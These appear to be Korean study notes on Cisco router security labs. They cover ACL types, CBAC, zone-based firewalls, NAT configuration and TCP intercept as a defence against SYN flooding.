1. 인증에 대한 부분
1. 종단 장비의 취약
:

2. ACL관련

토폴로지


 
1. 표준 ACL
 //     1.1.3.0       네트워크 패킷 유입을 막을 때
R2!에서 
 
# conf t
# access-list 1 deny 1.1.3.0 0.0.0.255
# access-list 1 permit any
# interface s1/0
#ip access-group 1 in

2. 확장 ACL 
//           ping 막을때
! R2에서
 
# access-list 100 deny icmp any any echo
# access-list 100 permit ip any any
# interface s1/0
# ip access-group 100 in


/ /업무시간에만(09 -19시)에만 telnet R3->R1거부
! R2
 
# conf t
# time-range WORKHOUR
# periodic weekday 09:00 to 19:00
# exit
# ip access-list extended ACL
# deny tcp host 1.1.3.3 host 1.1.1.1 eq23 time-range WORKHOUR
# permit ip any any
# exit
# int s 1/0
# ip access-group ACL in
# end
3. 동적ACL
1. Reflexive ACL
: 내부에서 외부로 새로운 연결이 시작될 때 임시로 ACL이 만들어짐

R2에서 
# conf t
# ip access extended INACL
# evaluate MyTcp
# exit

# ip access extended OUTACL
# permit tcp any any reflect MyTcp
# exit
#int s1/0
# ip access-group INACL in
# ip access-group OUTACL out

R3에서
# telnet 1.1.1.1  접속안됨 

2. Lock and Key ACL 
: 라우터의 인증을 통과해야만 내부 네트워크에 접속이 가능
디이얼 업 사용자 등과 같은 특정 권한을 가진 사람이 외부에서 접속할 때 유용 

여기서  라우터는  telnet의 인증서비스를 사용하여 인증한다.  오직 인증만을 위한 정책이기 때문에 access-list를 만들어 놓은 다음엔 인증에 사용했던 세션이 끊어진다. 

그래서 다음의 명령어를 넣어준다.
# autocommand access-enable timeout 10 명령어를 넣어준다.
 


3. CBAC ( Context Based Access Control)
: 동적 ACL의 단점을 보완
1.트래픽 필터링
2. 침임탐지

동적 ACL의 단점 보완  
내부에서 나간 패킷을 기억해서 들어올때 허용
특징 : 프로토콜별로 가능 
 
!R2
conft 
ip inspect name CBAC tcp
ip inspect name CBAC udp
ip inspect name CBAC Icmp
  int s1/0 
ip inspect CBAC out ///inspect 검사 table에 남는 시점


!R1 ping 1.1.3.3
!R2 telnet 1.1.3.3

show ip access-list
show ip inspect session (5초뒤에 사라짐)
 

 

 
4. ZFW (zone-based FireWall )
CBAC과 같이 못씀
1)zone만들기
!R2
conf t
zone security z1
zone security z2
2) zone과 interface연결
!R2
int fa0/0
zone-member security z1 
int s1/0
zone-member security z2

test) R1 # ping 1.1.3.3 /////////.........
zone이 다르면 서로 트래픽이 흐르지 못함


3) 어느 트래픽을 적용할지 결정
ip access-list extended 100
permit ip any any         //모든 패킷을 inspect하기 위해
또는
permit 1.1.1.0 0.0.0.255
permit 1.1.2.0 0.0.0.255

exit
class-map type inspect C1
match access-group 100 
exit
policy-map type inspect P1
class C1
inspect 

exit

zone-pair security Outbound source Z1 destination Z2
service-policy type inspect P1


R1 # ping 1.1.3.3
telnet 1.1.3.3
확인 
R2# show policy-map type inspect zone-pair session        : 세션을 확인


전체 과정

ACL   >    class-map    > policy-map     > service-policy로 사용
분류할때 ACL, class-map   사용
정책설정시 policy-map  사용
정책적용시 service-policy 사용

Qos할 경우 많이 사용함(패킷분류 > Marking > 정책설정)
ex >htttp 50M 패킷 이상이면 drop 하시오

 
5. NAT
1. 동적 NAT
                                    s1/0
R1 -------------------------R2-----------------------------R3
내부,사설망 외부, 공인망

공인 IP주소는 R2 s1/0만 있음 > 여러 사설 IP주소가 하나의 공인 IP로만 변환함


바꿀 IP주소가 network 대역인 경우  > ACL사용
바꾸어지게 될 주소가 network 대역인경우 > IP nat pool을 이용



!R2
 
ip access-list standard NAT
permit 1.1.1.0 0.0.0.255
permit 1.1.12.0 0.0.0.255
permit 1.1.2.0 0.0.0.255
exit
ip nat inside source list NAT interface s1/0 overload

또는 다음과 같이 사용가능

!R2에서 
ip access-list standatd Src_A
permit host 1.1.1.1
exit
ip access-list standard Src_B
permit host 1.1.2.2
exit

 
ip nat pool NAT_A 100.1.1.1 100.1.1.1 netmask 255.255.255.0 overload
start IP end IP
ip nat pool NAT_B 100.2.2.2 100.2.2.2 netmask 255.255.255.0 overload

맵핑내용 ACL Src_A  > ip nat pool NAT_A
                ACL Src_B  > ip nat pool NAT_B



ip nat insiide source list Src_A pool NAT_A overload
ip nat insiide source list Src_B pool NAT_B overload  

 

int fa0/0
ip nat inside
int s1/0
ip nat outside
end 

2. 정적 NAT
 
 
규칙

내부망 외부망
1.1.1.1 > 100.1.1.1        로 바뀌게 
1.1.2.2 > 100.2.2.2 

ip nat inside source static 

!R3
conf t
ip route 100.1.1.1 255.255.255.255 100.1.23.2
ip route 100.2.2.2 255.255.255.255 100.1.23.2

AND

IOS 버전 12.4 이상에서만 제공되는 명령어이다. 

 

1. 토폴로지 


 
희생자(서버)----------fa0/0_R1_FW(firewall)_fa0/1----------공격자(클라이언트)
192.168.200.100                                                                                    192.168.216.222




2. 상황
: 공격자가 서버로 Syn flooding공격을 수행
공격자가 소스 IP주소를 다르게 하여 많은 양의 Syn 패킷을 전송,
서버는 Syn Ack를 응답하고 ACK가 응답이 없게 되면 수많은 대기상태로 인해 




3. 대응책
 라우터 방화벽동작으로 intercept mode를 동작시킨다. 
 
4 . 원리

1. intercept모드 ( 디폴트모드)

ip tcp intercept mode intercept

처음 클라이언트가 서버로 세션을 맺기위해 3way hand shaking을 시작하면 중간에 라우터가  마치 서버인양 클라이언트와 세션을 맺는다.
정상적으로 수행되면 이번엔 라우터가 클라이언트인양 진짜 서버와  
3way hand shaking을 통해 세션을 맺는다.
정상적으로 수행되었을 시, 클라이언트가 서버로 Push, Ack 플래그를 셋팅시켜 보내고 서버로부터 Ack를 받은 수 이후 과정을 수행한다.  

희생자(서버)-----------R1_FW(firewall)-------------------------공격자(클라이언트)
------->syn ---------->
<-------ack,syn <------
------> ack ---------->
<------ syn <---------------
------> ack syn---------->
<------ ack <---------------

<---------------------------------------------------------------PUSH ACK
ack---------------------------------------------------------------------->



사용이유
Syn flooding 공격은 공격자가 유효하지 않은 소스 IP주소를 가지고 세션을 맺으려 달려들기 때문에 라우터와 클라이언트가  먼저 세션이 맺어져야  실제 서버로 세션수립을 요청하게 되는 이러한 구조에서는 공격이 통하지 않는다. 

의문점 1.  공격이 오면 공격자에게 RST를 보내서 세션을 끊는다고 알고있었는데,..... 찾을 수가 없었다. 
2. 서버와 R1_FW 의 세션이 잘 맺어졌다는 사실을 공격자가 알아야 하는데 어떠한 방법으로???



2.WATCH 모드

ip tcp intercept mode watch


희생자(서버)----------R1_FW(firewall)-------------공격자(클라이언트)

<--------------------- ----------------------------------------------syn
 
syn ack-------------------- 
---------------------------------------------->
<-------------------------------------------------------------------- ack  

이렇게 일반적인 세션수립과정을  그냥 보기만 하는데, 마지막에 ack가 클라이언트로부터 발생하지 않으면 R1이 RST을 서버에게 보내서 세션을 끊는다.
 
이유 : syn Flooding을 방어 




 5. 명령어
 
!R1_FW

conf t
ip access-list extended myserver 
permit tcp any host [서버IP]
exit

ip tcp intercept list myserver
      ip tcp intercept mode watch 또는  이 줄 생략(디폴트가 mode intercept)  





6.  셋팅 전과 패킷 비교

intercept mode셋팅후 telnet 접속 패킷 - R1_FW에서 양쪽 포트 잡은것임


intercept mode셋팅후 hping을 이용한 syn flooding공격을 했을때







 
AND